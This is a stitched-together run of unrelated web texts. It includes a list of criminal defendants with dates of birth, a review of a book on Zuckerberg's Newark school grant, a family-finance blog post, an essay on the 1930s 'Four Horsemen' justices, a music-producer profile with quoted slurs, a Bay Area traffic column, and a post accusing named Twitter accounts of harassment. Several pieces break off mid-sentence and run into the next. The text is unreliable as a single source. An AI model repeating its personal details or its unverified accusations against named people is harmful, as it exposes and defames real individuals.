· Syoy Phanbandith (5/13/82) – Counts 1, 2, 4-24
· Manivong Phannudet (11/6/72) – Counts 1, 2, 4-24
· Phoukhong Phannudet (10/26/75) – Counts 1, 2, 4-24
· Trairong Phannudet (7/31/84) – Counts 1, 2, 4-23
· Sirisack Rajphoumy (4/10/70) – Counts 1, 2, 4-23
· Sirideth Rajhoumy (4/8/73) – Counts 1, 2, 4-23
· Justin Ruiz (6/18/84) – Counts 1-23
· Raymond Ruiz (7/26/53) – Counts 1, 2, 4-8, 19-21
· Jeremy Rudnick (5/23/1985) – Counts 1, 2, 4-8, 19-21
· John Russo Jr. (6/24/85) – Counts 1-24, 28
· John Russo Sr. (6/21/65) – Counts 1-10, 13, 14, 17-23, 26, 27
· Adam Samokishyn (10/3/90) – Counts 1-23
· Marlene Samokishyn (1/22/55) – Counts 1-23
· Melissa Samokishyn (7/19/86) – Counts 1-23
· Michael Samokishyn (8/16/53) – Counts 1-23
· Santino Santori (4/16/84) – Counts 1, 2, 4-8, 19-21
· Edward Shu (2/9/41) – Counts 1, 2, 4-23
· Jerry Shyong (4/22/77) – Counts 1-10, 13, 14, 17-24
· Justin Shyong (6/18/84) – Counts 1-23, 31-33
· Peter Steel (11/24/79) – Counts 1, 2, 4-8, 19-21
· Thomas Stockton (10/11/86) – Counts 1, 2, 6-8, 15, 16, 19-21
· Michael Swinyard (no DOB provided) – Counts 1, 2, 9, 10, 14, 17-23
· Jeffrey Teiffel (4/13/84) – Counts 1-10, 13, 14, 17-23
· Joel Vlasin (11/6/83) – Counts 1, 2, 4-24
· Jin Tien Wu (5/3/81) – Counts 1-23
· Wan Wan Wu (6/28/75) – Counts 1, 2, 4-10, 13, 14, 17-23
· Rona Yang (6/9/53) – Counts 1, 2, 4-23
· Jeremy Youness (9/9/76) – Counts 1, 2, 4-24
· Shen Quin Wu (8/1/48) – Counts 1-10, 13, 14, 17-23
· 1015D West Evans – Counts 1-10, 13, 14, 17-23
· Colorado Consulting and Properties Management, LLC – Counts 1-23
· 3333 South Marion LLC – Counts 1-23
· JRS, LLC – Counts 1-10, 13, 14, 17-23
· JSM, INC – Counts 1-23
· 10787 Tucson Way, LLC – Counts 1-23
· JPEX, Inc/GROFAX South) – Counts 1-23
· Samar Inc – Counts 1-23
· JMJR, LLC – Counts 1-24
· CB Solutions – Counts 1-24
· Put on Developments – Counts 1-25, 31, 32
· M Seven, LLC – Counts 1-23
Denver7 is working to learn more about this story as it continues to develop. Refresh this story and watch Denver7 at 11, The Now at 4, Denver7 at 5 and Denver7 at 6.Almost half of Zuckerberg’s grant was spent (or committed) to help gain new labor contracts; out of the $200 million in his money and the matching grant, a full $21 million went to buying out unwanted teachers and other staff members, for instance. Yet Zuckerberg didn’t realize until too late that New Jersey state law — not teacher contracts — imposed the seniority system he was trying to get rid of.
The education reform community is furious at the way it is portrayed in the book; one such critic, Laura Waters, described “The Prize” as “a fairy tale about reform,” basing her comment on a Times review. Others believe that Russakoff overlooked some of the good things that have taken place in Newark, especially in the area of teacher training, and the fact that the public schools are at least marginally better.
But Russakoff doesn’t let those propagating the status quo off the hook, either. She describes the schools system as an “employer of last resort.” She shows the enormous impediments to real change imposed by the teachers’ union.
Most telling is her comparison between the resources that a very good charter school, Spark Academy, has at its disposal and those available to the public schools. The KIPP charter network, which runs Spark, gets $16,400 per Spark pupil, of which $12,664 is devoted to the school. The district schools get $19,650 per pupil, but only $9,604 trickles down to the schools. Money that the charter school is spending on extra support is being soaked up by the bloated bureaucracy in the public school system. It is a devastating fact.
Here is another one: The primary change in Newark has been the increasing number of students — over 30 percent now — who are being educated in charter schools. I realize that many in the education reform community will applaud this fact, especially since those students have, by and large, shown enormous progress in test scores (though Russakoff is quick to note that as in all cities, some Newark charters failed “dramatically”). It’s great for the 30 percent who are learning from charter school teachers. But as Russakoff puts it in the most poignant line in her book, “What would become of the children left behind in district schools?”Share Pin Share Email Shares 0
Singles finance and family finance differ quite a bit. I've learned that well over the past 5 1/2 years (our oldest child is now 5 1/2). My personal experience has shown there are more spending pressures and overall expenses when you have a young family. Examples include birthday parties, swim lessons, dance lessons, clothes, toys, doctor's visits for runny noses and coughs, camps and trips to the ice cream shop.
As our children get older the needs and expenses are certain to change even more. My advice for singles who want to someday have a family (as well as for married couples without kids) is to take advantage of a less complicated situation and use this time wisely to set your finances in order.
Whether you're single and want to prepare for the future, or have a young family, Smart Money recently mentioned 6 mistakes young families make with their finances. I think if you can insure you have a plan around each of these areas, you're sure to be heading in the right direction.
Carrying Too Much Debt
Smart Money says it's okay to have some debt, but to avoid carrying too much debt. I actually disagree with this approach. While most people have debt, it doesn't mean it's okay to have it lingering around limiting your ability to achieve other goals such as saving for retirement. Work to get out of debt and make a solid commitment to stop going into car debt or carrying over credit card balances from month to month. Strive to avoid debt rather than avoid carrying too much debt.
Poor Budgeting
Budgeting always gets such a negative response, but it's just a matter of smart planning. Without a plan or budget people will tend to freely or impulsively spend and lose sight of saving, investing, giving and other important things to do with money each month. A budget helps stop impulse buying.
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Could the absence of a budget be as a bad as debt? Well maybe not, but it definitely has an impact on spending and might result in using a credit card to make up the difference month to month.
A close cousin to the debt problem is poor budgeting. Young couples tend to underestimate their expenses by 20%
Not Saving For Retirement
Getting an employer match on your 401(k) is free money and should be the minimum you invest for retirement. However, you should only invest if you're able to make progress on getting out of debt and saving money for emergencies. Not having the ability to save for retirement is just another solid reason to get out of debt.
Many young couples just can't get their heads around the importance of saving for retirement. While they focus on short-term goals, such as saving for a new minivan, they fail to max out their 401(k), or even contribute enough to qualify for their employer's match
Not Having Enough Insurance
Life insurance can be tricky, especially if you're good buddy is trying to sell you a policy. Most families simply need term life insurance. The savings whole life suggests is typically at low interest rates that don't make it worth it.
There's a lot of bad advice out there on insurance. Perhaps that's why so many young couples are under insured. The most common error people make is that they buy expensive products, like whole life insurance, for too little coverage.
Not Saving For Children's Education
It scares me to think about the price of college in the future. This is an area we've personally lagged behind in as we've been wrestling with savings and getting out of car debt. But it's definitely an important savings step to get started as soon as you can. This goal should come after you have a well established emergency fund, are out of debt and maxing out your retirement.
SmartMoney.com projects that, in 18 years, a four-year private university education will cost more than $300,000.
Not Enough Emergency Savings
I can completely relate to to trying to build up an emergency savings while supporting a young family. It's hard sometimes with all the expenses I mentioned in the introduction. But, we're making progress. As I said, singles, get your savings established now as there will be more expenses to consider later in life.
You've heard it before: Everyone should set aside three to six months of salary for a rainy day. That way, there should be enough to live on in case of an unexpected job loss or medical emergency. Unfortunately, this can feel like an impossible goal for folks with small kids. Who has that kind of cash saved up after buying a new home or car or paying for childcare? Don't let the difficulty of the task dissuade you from trying. In a weak job market, it's more important than ever to create an emergency account. Remember, every little bit counts.
So, what do you think about these financial mistakes young families make? If you have a plan around each of them, would you feel more confident around your financial situation?
Share Pin Share Email Shares 0“We want a Supreme Court,” declared President Franklin Roosevelt in March 1937, “which will do justice under the Constitution — not over it. In our courts, we want a government of laws and not of men.”
A month earlier, the very same FDR announced his plan to “pack” the Supreme Court with enough additional justices to accomplish precisely the opposite. The last thing FDR wanted was a court that defended the Constitution; he preferred one that would meekly sanctify the centralizing nonsense of his New Deal.
Four justices in particular drew FDR’s wrath in the 1930s. They did the job they were sworn to do: uphold the Constitution as it was written against all attempts to subvert it or the liberties of the people it protected. They were respected legal scholars of the first order. Unlike Roosevelt, they didn’t think it was their duty to torture the Constitution until it confessed to federal powers never dreamed of by those who designed it. Power and political expediency were not among their priorities. These four heroes were George Sutherland, Willis Van Devanter, James Clark McReynolds, and Pierce Butler.
In few law schools today are these four defended as heroes. They are, in fact, commonly vilified as legal Neanderthals who stood in the way of FDR’s vast expansion of federal power to deal with the Great Depression.
Unlike FDR, these four justices didn’t think it was their duty to torture the Constitution until it confessed to federal powers never dreamed of by those who designed it.
Progressive intellectuals in the 1930s labeled them with the epithet “the Four Horsemen” — comparing them to the biblical harbingers of the Apocalypse. But I count Sutherland, Van Devanter, McReynolds, and Butler as four of the most principled and courageous of the 112 individuals appointed to the court since 1789.
None of these men was perfect. Sutherland defended sugar tariffs as a Utah congressman and supported much of Theodore Roosevelt’s progressive agenda as a senator. Van Devanter of Indiana suffered from chronic “writer’s block” or “pen paralysis” and wrote few opinions in his 26 years on the court. Kentucky’s McReynolds could be cantankerous and even bigoted. It’s hard to find more than a minor flaw, however, in the life or writings of Minnesota’s Pierce Butler — a perfect gentleman and a constitutional stalwart who cast the lone dissent in a 1927 eugenics decision upholding the right of states to forcibly sterilize the “feeble-minded.”
In 1925, Butler was joined by Sutherland, Van Devanter, McReynolds, and the rest of the court in striking down an Oregon law that outlawed private schools and mandated attendance by all Oregon students at government schools. McReynolds authored the opinion in Pierce v. Society of Sisters, declaring that children were not “mere creatures of the State.” The freedom to choose a private education, he wrote, was protected by the Constitution (the 14th Amendment in particular).
When Franklin Roosevelt’s New Deal came along, no one opposed its dubious legal assumptions with more vigor and impact than these four men. In academia, it’s still fashionable today to support the New Deal’s federal power grabs as essential and effective, but they were neither. The measures expressly intended to remedy the Depression actually prolonged it and were mostly abandoned or repudiated later. Sutherland, Van Devanter, McReynolds, and Butler wisely saw much of the New Deal as economic and constitutional quackery.
With the “Four Horsemen” leading the way in 1935, the Supreme Court voted unanimously to overturn FDR’s centerpiece: the National Industrial Recovery Act, a price-fixing artifice aimed at cartelizing American industry and forcing prices up at a time of widespread poverty and unemployment. The specific case involved a poultry company and whether or not consumers had the legal right to choose the chickens they wanted to buy. The government’s lawyers claimed they didn’t, invoking frequent outbursts of derisive laughter during the oral arguments before the court.
In 1936, Chief Justice Charles Evans Hughes and Justice Owen Roberts joined the four in tossing out FDR’s ludicrous Agricultural Adjustment Act. The law imposed a tax on agricultural processors and used the revenue to pay for the destruction of healthy crops and cattle so as to raise prices. The court held that the tax was not constitutional because the payments from its revenues to farmers were coupled with coercive contracts. The justices couldn’t find any nook or cranny in the Constitution that authorized subsidies to farmers for destroying or reducing their crops. (I can’t, either.)
Justice Sutherland, who once flirted with progressive ideology, defended the Constitution in these and other cases with the ferocity of a strict constructionist. In the 1934 case of Home Building & Loan Association v. Blaisdell, he wrote, “If the provisions of the Constitution be not upheld when they pinch as well as when they comfort, they may as well be abandoned.”
The four’s reverence for the Constitution was on brilliant display when, joined by a fifth justice, they refused to treat the Commerce Clause like a piece of taffy in the 1936 case Carter v. Carter Coal Company. That a commodity might in the future be sold in interstate commerce does not grant the federal government the power to regulate it before it ever leaves a state, the court ruled. The law the justices threw out required mines to pay a tax on coal to support a commission established to fix wages, prices, hours, and other elements of production and trade — a proposition so constitutionally dubious that it should have been laughed out of Congress in the first place.
When Franklin Roosevelt’s New Deal came along, no one opposed its dubious legal assumptions with more vigor and impact than these four men.
Sutherland, Van Devanter, McReynolds, and Butler teamed up many times in the roughly 20-plus years they served together on the court — invariably to restrain the federal government in its pursuit of powers not granted to it in the Constitution. They were the principal (and principled) men FDR had in mind when he sneered at “those nine old men” of the Supreme Court.
Sadly, the four were outnumbered in the very important Gold Clause Cases of 1935. Two years before, FDR had issued an executive order demanding that American citizens surrender all gold coins, bullion, and gold certificates within a month or face penalties of $10,000 and/or 10 years in prison. Congress followed up with a resolution that arbitrarily canceled all clauses in private and public contracts that called for payment in gold. In blatant disregard for private property and agreements, the court upheld the seizures by a narrow 5–4 margin. Americans would not be allowed to own gold again until 1974. (It is thanks in great measure to the heroic efforts of a single individual, James Blanchard, that private ownership of gold is once again legal.)
In his blistering dissent in the gold clause cases decision, Justice McReynolds wrote,
Just men regard repudiation and spoliation of citizens by their sovereign with abhorrence; but we are asked to affirm that the Constitution has granted power to accomplish both. No definite delegation of such a power exists, and we cannot believe the far-seeing framers, who labored with hope of establishing justice and securing the blessings of liberty, intended that the expected government should have authority to annihilate its own obligations and destroy the very rights which they were endeavoring to protect. Not only is there no permission for such actions, they are inhibited. And no plenitude of words can conform them to our charter.
The four were pilloried in the pro-FDR media and in the progressive ivory towers of academia. Whipped up by Democratic partisans, they were even hanged in effigy in some communities. Their high water mark was 1937, the year that FDR proposed his court-packing contrivance. When the president’s own party turned against it, the scheme failed by a better than two-to-one margin in Congress. By the early 1940s, however, retirements opened the door for Roosevelt to put his ideological allies on the court.
In Utah today, a think tank named for one of the four — George Sutherland — labors to make liberty and limited, constitutional government the lodestars of public policy in that state. Stan Rasmussen is the director of public affairs for the Sutherland Institute. He regards the organization’s namesake as a man who evolved into “a devoted protector of individual freedom.” Rasmussen is fond of quoting these words of Sutherland’s, spoken a year before his passing in 1942:
Good character does not consist in the mere ability to store away in the memory a collection of moral aphorisms that runs loosely off the tongue.… Character to be good must be stable — must have taken root. It is an acquisition of thought and conduct which have become habitual — so firmly fixed in the conscience, and indeed in the body itself, as to insure unhesitating rejection of an impulse to do wrong.
Perhaps it was Sutherland’s emphasis on the importance of character that led him to appreciate liberty, which, I’ve argued, is the other side of the same coin. In his dissenting opinion in the 1937 case that upheld extraordinary coercive powers for organized labor, he penned this eloquent appeal:
Do the people of this land … desire to preserve those [liberties] so carefully protected by the First Amendment: liberty of religious worship, freedom of speech and of the press, and the right as freemen peaceably to assemble and petition their government for a redress of grievances? If so, let them withstand all beginnings of encroachment. For the saddest epitaph which can be carved in memory of a vanished liberty is that it was lost because its possessors failed to stretch forth a saving hand while yet there was |
working with a white pop star didn’t ruin Will’s street cred. Jon Platt says that was because “Mike Will didn’t cross over to Miley Cyrus. Miley Cyrus crossed over to Mike Will.” Not long after “We Can’t Stop” came out, Will joined Jimmy Iovine at Interscope Records. (A year later, Iovine departed for Apple.) “When I met Mike, I gave him a label on the spot,” Iovine said. “As soon as I heard his first song, I just knew.”
The day after my visit to Electric Feel, I arranged to meet Will in Santa Monica. In recent years, he has shuttled between L.A. and Atlanta, spending more time on the West Coast as his career advances. “In L.A., I’m a C.E.O.,” he says. Aubrey Potter and Brian Wright, Will’s two main Ear Drummer associates, often travel with him. Among the artists on his label, in addition to Joseph Antney, are Eearz and Jace, both solo acts, and Rae Sremmurd, a rap duo made up of two brothers from Tupelo, Mississippi, who are his most successful artists so far. (The group’s unpronounceable name is Ear Drummers backward.) Their first album, “SremmLife,” was recently certified platinum. Will also oversees their feel-good videos and helps design the typefaces and the graphics that contribute to the group’s strong visual character. “If you’re a super-producer, you can produce whatever you want to produce,” Will said, leaning against a railing on the Santa Monica Promenade. “That’s where I’m at.” To that end, Will had recently purchased a Red camera, to make music videos. “A Red camera is the best,” he declared. “When I started shooting videos, I had to pay ten thousand dollars just to rent one. I was like, ‘I do all these music videos, and I still don’t own a Red camera?’ So I spent about a hundred thousand dollars to buy one. My own bread. Boom! We can go shoot a movie right now. Why not? We’re just using the utensils at hand.” We walked up Wilshire Boulevard to the Fairmont Hotel, where Will had been staying. Two tow-headed children, waiting by the reception desk with their parents, stared at his gold chain. On another occasion, in the Four Seasons Hotel in Atlanta, I observed two older white women shrink into a corner of the elevator as Will got in. When I remarked on this afterward, Will said, “But here’s the thing, bro—I’m just as scared of them as they are of me. Y’all might get mad at me for smoking weed on the floor or whatnot. Damn! It’s the nigga’s dream to be young, black, and successful. But the nigga’s dream is the American nightmare. These bougies—they don’t know how to take it. They see us coming through the lobby, gold chains, pants sagging, and they’re like, ‘Who the fuck is he?’ Or they say, ‘Damn! How’d he hole up on a floor higher than we?’ Or, ‘Damn! How’s he driving an S63 Mercedes—is he a drug dealer?’ ” The S63, Mike Will’s ride when he’s in Atlanta, is a top-of-the-line white Mercedes sedan with gold-colored rims and massage seats. “And I got a refrigerator built into the back seat, full of goddam natural organic juices!” Will said. “And they’re going, ‘Did he steal that car?’ Man, this cop pulled me all the way out the car. ‘Tell me the truth—whose car is this?’ ‘Man, it’s mine. Take this license and run these plates and get out of my face.’ ” In the Fairmont, a well-dressed woman was sitting with her laptop open on the bar, reviewing video footage. Will asked her whether she made films. She said her production company had just finished making an ad for a travel company. “It’s going to air on ‘Grey’s Anatomy’—I don’t know if you watch that show?” she said, her eyebrows going up quizzically. Will glanced at the video again. “What camera do you shoot with?” he asked. “Oh, we use an Alexa,” the woman said. “Have you heard of the Red camera?” “Oh, yes,” the woman said. “That was the best camera, but the Alexa has replaced it.” She helpfully listed the features of the Alexa that made it superior to the Red. Will wasn’t fazed. “How much does that camera cost?” “Oh, we don’t buy them! We just rent them,” she replied. “They’re like phones—they get better and cheaper every year.” And with that she went back to her laptop.
By 2013, Mike Will could work with anyone he wanted to. And he has, pretty much. Pharrell Williams got back some of the street vibe of his early Skateboard P days through a collaboration with Mike Will: “Move That Dope,” from 2014. The seed that became Beyoncé’s “Formation” was planted by Swae Lee, one of the Rae Sremmurd duo, and A Pluss, one of Ear Drummer’s staff producers, who has been a friend of Will’s since high school. A Pluss had started the beat back in Atlanta, and Will had it with him on his phone when he was driving from L.A. to the Coachella music festival with Lee and his brother, in 2014. “So we’re in the middle of the desert,” Will explained. “And we’re just coming up—we just freestyle, you know?—and Swae Lee said, ‘O.K., ladies, now let’s get in formation.’ And we put it on the VoiceNote. Swae Lee’s got so many voice notes that he doesn’t even record, but I’m like, ‘Dog, we got to do that “get in formation” shit.’ That could be a hard song for the ladies. Some woman-empowerment shit. Like, ‘Ladies, let’s get in line, let’s not just fall for anything.’ I’m seeing that vision.” When they got back from Coachella, they booked a studio, and Swae Lee “ended up just laying it down.” The year before, Will had hoped that he might get to work with Beyoncé. He’d been summoned to New York by Jon Platt, of Warner/Chappell, to work on the track “Beach Is Better,” for Jay Z’s album “Magna Carta... Holy Grail.” The collaboration with Jay Z went well, but nothing panned out with his wife. Now Will sent the song, along with five or six others, to Beyoncé and her team. Platt, their mutual publisher, made sure she listened. A few months after this, Will was in L.A., where he attended a Clippers-Cavaliers basketball game. He knew LeBron James’s agent, Rich Paul, because he’d produced the John Legend song “My Shoes,” which was in the memorable 2013 Nike commercial that showed LeBron running through the streets of Miami. They were staying in the same hotel, and Paul invited Will to join LeBron and his friends after the game. But Will fell asleep in his room. “I woke up at two in the morning,” he said. “And I had some missed calls, and I called Rich back and I was like, ‘My bad, bro, you’re probably in the room by now,’ and he was like, ‘No, we’re still down here.’ So I went down there, and I was chopping it up with LeBron and the Cavaliers, and then Jay Z and Beyoncé just walked up. And this was really like a dream to me. I was just asleep upstairs and now I’m kicking it with Jay Z, Beyoncé, and LeBron. And Bey was like, ‘Yo, I like that “formation” idea.’ And I told her what I was thinking about the woman empowerment, and she was like, ‘Yeah I kinda like that idea.’ And she just left it like that. “We were just thinking about it being a female anthem,” Will went on. “Because I knew I just wanted a banger with Beyoncé, like a ‘Single Ladies,’ but I wanted it to be a new kind of chant.” Back in New York, Beyoncé wrote verses for the song, but kept the central concept of “get in formation.” The song broadened to become both a Black Lives Matter power anthem and an intimate song about her family. “Next thing I know,” Will continued, “Big Jon”—Jon Platt—“told me, ‘Yo, this shit’s crazy, you got to hear this.’ ” Will went to New York and spent a week with Beyoncé in the studio recording the song. Beyoncé, he explained, “took this one little idea we came up with on the way to Coachella, put it in a pot, stirred it up, and came with this smash. She takes ideas and puts them with her own ideas, and makes this masterpiece. She’s all about collaborating.” He added, “That’s what makes her Beyoncé. Being able to know what she wants. A lot of people don’t know what they want. To the point where you can bring them some hot shit, and they’re like, ‘This shit ain’t it. I need a hit, bro.’ And I’m like, ‘Man, this is a hit. If you don’t like this line or that line, you should take this line out and put your own lines in there, and we doctor it up.’ Some people want it cooked. They just want to put a little icing on it and bite it. But it’s really a process to make one of these great songs. It’s layers. Layers and layers and layers.” Will watched Beyoncé’s performance of his song on the Super Bowl halftime show at Iovine’s place in L.A. with Jimmy and his friends. “I ain’t gonna lie,” he said. “I was with four billionaires watching the TV. I was like, ‘Damn, I got to put more work in. This is only the start.’ For real. It was dope.”
Most of Will’s recent production work with artists not on his label remains unreleased. There is a follow-up to the “Ransom” mixtape, “Ransom 2,” which includes collaborations with Chief Keef, Big Sean, Future, and Young Thug. Will also has two full albums’ worth of his tracks with superstar artists which he hopes to put out in 2016—a pop project, and a vibe record called “Backwoods n Apple Juice,” which he describes as “the best album to smoke and chill to.” The first single from “Ransom 2,” a Rihanna track called “Nothing Is Promised,” dropped in early June. Mixtapes have long been a feature of the hip-hop world. A mixtape can be made a lot quicker than an album, partly because it’s O.K. if it sounds rough; a mixtape is about catching a “wave,” as Will often describes his music. But perhaps the biggest difference between a mixtape and a studio album is that producers don’t have to clear the samples. Technically, mixtape samples aren’t legally authorized, but since they aren’t for sale there is little cause for action. Will put out five of them before “Ransom,” in 2014. Fans have been waiting—impatiently, if Twitter comments are any indication—for “Ransom 2,” which was supposed to drop on January 29th. One reason for the delay is that, unlike the previous mixtapes, which were “leaked” for free over the Internet, “Ransom 2” will actually be for sale, which is part of Will’s partnership with Interscope. Will didn’t seem all that happy about this arrangement, but he had little choice but to go along. “I recognize that I am in business with them,” he said. Will and his co-producers must track down the copyright holders of each sample and negotiate a split of the record’s profits. And, since there is no limit to the size of the split the copyright holders can ask for, many begin with wildly inflated demands—asking for seventy-five per cent of a record’s earnings, say, for the use of a two-second percussion sequence or melody— and hold up the release of the album until they are satisfied. All of which is a new thing for Will and his team, who, despite their precocious success as producers, are still learning when it comes to the finer points of licensing-royalty splits. “He’s an entrepreneurial guy,” Jimmy Iovine said of Will. “He hustles, he works hard, and he has brilliant ideas. Now it’s all about follow-through. If he can do that, he could have an extraordinary career.” “I’m learning as I go,” Will said. “This is everybody’s first rodeo. And if the fans can’t see and respect that then they aren’t really a fan.”New soundtrack album Let Me Go taken from the film of the same name. Digital release 15th September Physical release 27th OctoberPre-order HERE.
A departure from his two preceding albums (Familial and Weatherhouse). Philip’s new release is a soundtrack album to the film drama Let Me Go; a story about mothers and daughters; about loss and mistrust; about the ramifications of a World War II crime; about secrets, trauma and lingering ghosts.
Mirroring the film’s haunted and intimate nature, the score is grounded in strings and piano, plus guitar, electronics, musical saw, glockenspiel and bowed vibraphone, and the occasional use of bass and drums, creating a paradoxical sense of beauty and unease.
The album is available to preorder here and will be released physically on 27th October via Bella Union and available digitally from 15th September to coincide with the film’s release.
See the film trailer hereQ Who won the $100 Clipper card for picking the opening date for the BART Warm Springs station on Saturday, March 25? I know it wasn’t me but I was close (March 28).
Philip Castillo
Fremont
A No one picked this Saturday as the day when trains would begin carrying passengers. So by the powers invested in me by me, I selected two winners whose guesses were just a day off. More than 3,000 people entered the Roadshow contest, and they were the only ones so close to the correct date.
— Joanna Chang, a retiree from San Ramon, who picked March 24.
— Jon Baur, a smog technician from Hayward, who picked March 26.
Baur rides BART to San Francisco for the free museum days: “This card will come in quite handy,” he said.
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Roadshow: I-580’s potholed Altamont Pass is repaved Members of the public wishing to attend Friday’s pre-opening celebration can drive to the Warm Springs station, 45193 Warm Springs Blvd., and park for free. The event runs from 10 a.m. to noon, rain or shine, and will include speeches, ribbon cutting, station tours, entertainment and a new three-car train for public viewing. (There will also be a free shuttle for attendees from the Fremont BART Station’s west side, near the clock tower, from 8:45 a.m. to 1 p.m.)
Q Folks who live near the east hills of San Jose don’t want a freeway cut through the Hamilton Range to Interstate 5 and Patterson. The noise, air pollution and increased traffic would render entire neighborhoods unlivable. Those who insist on driving everywhere are just going to have to accept heavy traffic and long drives. Such is life in our overcrowded state.
Anthony Stegman
San Jose
A Yes, it certainly is.
Q My husband and I took a trip to Fairfield recently and I couldn’t believe the litter on Interstate 80. Next to the commuter lane there was a barbecue grill, an ice chest and so many Caltrans orange cones I lost count, plus all kinds of small garbage and paper.
I couldn’t believe Caltrans hadn’t picked up any of the garbage; you could tell it had been there for a while. If someone was to hit even an orange cone it would tear up their car! And if they hit a barbecue … well, I can’t even imagine!
Karen Scopazzi
Burlingame
A Help is coming soon. Caltrans has not been idle: Last week crews cleaned I-580 from the Lakeshore exit to the San Pablo exit, I-880 from Hegenberger Road to High Street, the Caledcott Tunnel bores, the Posey and Webster tubes, Devil’s Slide and toll plazas at the Bay Bridge, the Richmond Bridge, the San Mateo Bridge, plus the Rio Vista Delta Bridge.
Q There is always a lot of water on the road at the entrance to the Caldecott Tunnel Bore 1 and for about 50 or more feet. What causes this even when there is no rain?
Mareth Ellis
Oakland
A This is a year-round, natural water flow that comes down from the hills above the tunnel.
Join Gary Richards for an hourlong chat noon Wednesday at www.mercurynews.com/live-chats. Follow Gary at Facebook.com/mr.roadshow or contact him at mrroadshow@bayareanewsgroup.com.When Gamergate became BernieGate…
Investigator Blocked Unblock Follow Following Dec 30, 2017
In the last couple of weeks a large number of Clinton/ Obama supporters have been systematically harassed and intimidated by Bernie Sanders supporters on Twitter.
Anyone that even posts the vaguest critique of Bernie, is targeted by this mob of frat boys.
Their MO is always the same: they first target a certain user. Then they mass harass this user with sometimes up to 40 or 50 Bernie supporters. When the user replies in anger, or says anything wrong (using the word ‘f*ck’ will usually do the trick), they mass report the user, who then gets banned.
Twitter doesn’t in any way act against these tactics, against the targeted harassment or abuse of users, but instead ALWAYS bans the victim.
What happened sporadic in the last months now goes on 24/7 against hundreds of Twitter users who at some point have criticized Bernie Sanders.
Often (9 out of 10 times) the victims of these bully tactics are women, usually they are POC or LGTB.
A few examples: @MrDane1982, a well known Twitter user was attacked for weeks by Bernie supporters. At some point the name calling started, they called him among others a ‘corporatist coon” and used other racial slurs.
When MrDane/ MrWeeks reacted by posting Jay Z lyrics, they mass reported him, claiming those lyrics posed a threat. At which point Twitter reacted by banning MrWeeks for a week.
A few days ago, @AmirAminiMD decided to dox and threaten a Twitter user:
(note: I have a screenshot of the original tweet including the name, but will not add to the doxxing by posting it)
Interesting note: the above user (AmirAminiMD) has been harassing just about any POC he can on Twitter (including Joy Ann Reid whom he called a racist), yet dares to suggest someone attacks him and “other people of color”.
He wasn’t brave enough to let the tweet up and deleted it after an hour or so. By then many people already had seen it of course.
Around the same time, a letter arrived at Kevin’s work with accusations and tweets to show the ‘abusive’ online behavior of Kevin (yes he did use the word f*ck a few times while defending himself against anti gay slurs……).
So, not only did @AmirAminiMD dox Kevin, people went as far as sending a letter to his employer to get him fired.
Welcome to the Revolution, I guess.
The whole story can be read here:
https://twitter.com/HumorlessKev/status/947185356004196352
Another target was Bravenak, a black activist. What happened to her has been described in detail here:
https://medium.com/@miekeschotting/bernie-supporters-going-full-alt-right-the-sick-smear-campaign-against-bravenak-66bec886b9cd
The Bernie supporters make up lies, they fabricate screenshots to make it look as if someone said something in a different thread, they post private info about a user, dox the person in question and send threats against someone’s life.
In Bravenak’s case, they went as far as to go on her Facebook page, grab a picture of Bravenak and her child….Then they used that picture as profile pic to create a fake act. Finally, they sent an invite to follow to Bravenak’s online friends.
I mean, there is literally nothing these people won’t do to intimidate or harass people.
About another user they started posting that the account was hacked, and they asked @Twittersafety to take the account down.
Or they pretended that an account was a ‘sockpuppet’ account and asked Twitter safety to close the account:
https://twitter.com/Wade_Turnbull/status/944830520503836672
Another user had her private info posted online, and yet another user’s employer was contacted.
And then I’m not even talking about the swearing, the racist slurs, and the sexist slurs.
This is GamerGate all over, but by now it’s turned into BernieGate with Bernie’s supporters as perpetrators. We have gangs of young white boys/ men who gang up to harass women/ POC. They are cowards as in that they never act alone. Their goal is to get anyone critical of Bernie banned from Twitter. They are sexist, racist and post incredibly racist meme’s of for example Kamala Harris or Cory Booker. I mean…POC and watermelon, we all know the drill, right?
Or they post incredibly hateful messages about for example Joy Ann Reid:
Their harassment never stops and has for some reason gotten much worse over the Christmas weekend.
The pattern is always the same: a number of 5 or 6 accounts lead the charge:
@AmirAminiMD
@Wade_Turnbull
@Gladstone_Small (a second account of Wade_Turnbull where he pretends to be a poc…)
@satanicunicorn
@GeoffMiami
@BLUpfront
They attack someone and then their followers start to harass the person in question.
If you look at some of the accounts I mentioned above, you will see that every single tweet they make is aimed at harassing a woman/ POC Twitter user. It’s all they do. Which is another problem: they often have up to 4 or 5 accounts.
Even if their secondary account they use to harass people is banned, they lose nothing.
That is…if they are banned. Because up to now after 3 weeks of this ongoing harassment not a single Berner engaged in this is banned. Twitter does not in any way, shape or form act against this excessive harassment of users.
Here is another example:
The exact same people on their multiple accounts going after T_FisherKing:
The tactics are the same: @Wade_Turnbull and in this case some alt accounts of his and some of his buddies go after a known black activist and harass him. Then they decide to dox him and they state that they have sent messages to his employer, to get him fired.
https://twitter.com/T_FisherKing/status/946637285818290176
@Newsresearch5, an alt account with some 10 or so followers (according to most, an alt account of Wade_Turnbull) posted this:
If you look at that account (Newsresearch5) you will see it is only set up to harass T_FisherKing.
Accounts involved in this:
@Wade_turnbull
@Newsresearch5
@Fluffcow69
@BernieEffect
So..what triggered this? There have always been tensions between Bernie and Obama/ Clinton supporters, but the excessive harassment of POC/ LGTB and women by Bernie supporters seems to have been more intense the past two or so weeks.
Imo it all started with this: a racist flyer was posted at Temple Uni, Philadelphia.
Although some tweeted about it, it only got a lot of Twitter attention when Patricia Arquette tweeted about it:
https://twitter.com/PattyArquette/status/942115636553056256
https://twitter.com/PattyArquette/status/942119112452407296
This led to a ton of angry Berners who have since then apparently felt the need to prove they’re not racists by…..harassing and stalking black activists on Twitter.
Although there is no evidence at all that the person who posted these flyers is in fact a Bernie supporter, the sentiment described on the flyers is very real: anger at POC because Bernie supporters realize that POC don’t support Bernie.
Frankly, it feels as if this flyer literally stirred up a hornet’s nest of angry white boys, harassing POC.
If this is really what set off this wave of harassment I do not know. But it is obvious an organized harassment campaign has been going on in the last two or so weeks.
The goal seems to be to drive Clinton/ Obama supporters off Twitter.
Which will no doubt do great harm to the Democrats in 2018, because the accounts in question are also among the most active resistance/ Democratic accounts.
The people doing the harassing seem to consist of 5 or 6 ‘leaders’ and a lot of childish followers who seem to think this is all a big game/ joke. Harassing someone is often proudly tweeted about and cc’d to others, to score some brownie points among the other ‘cool’ kids.
In the meantime I think it’s clear that none of these people are really progressive or leftists. Progressives don’t harass women/ POC, actual progressives care about minorities/ women’s rights.
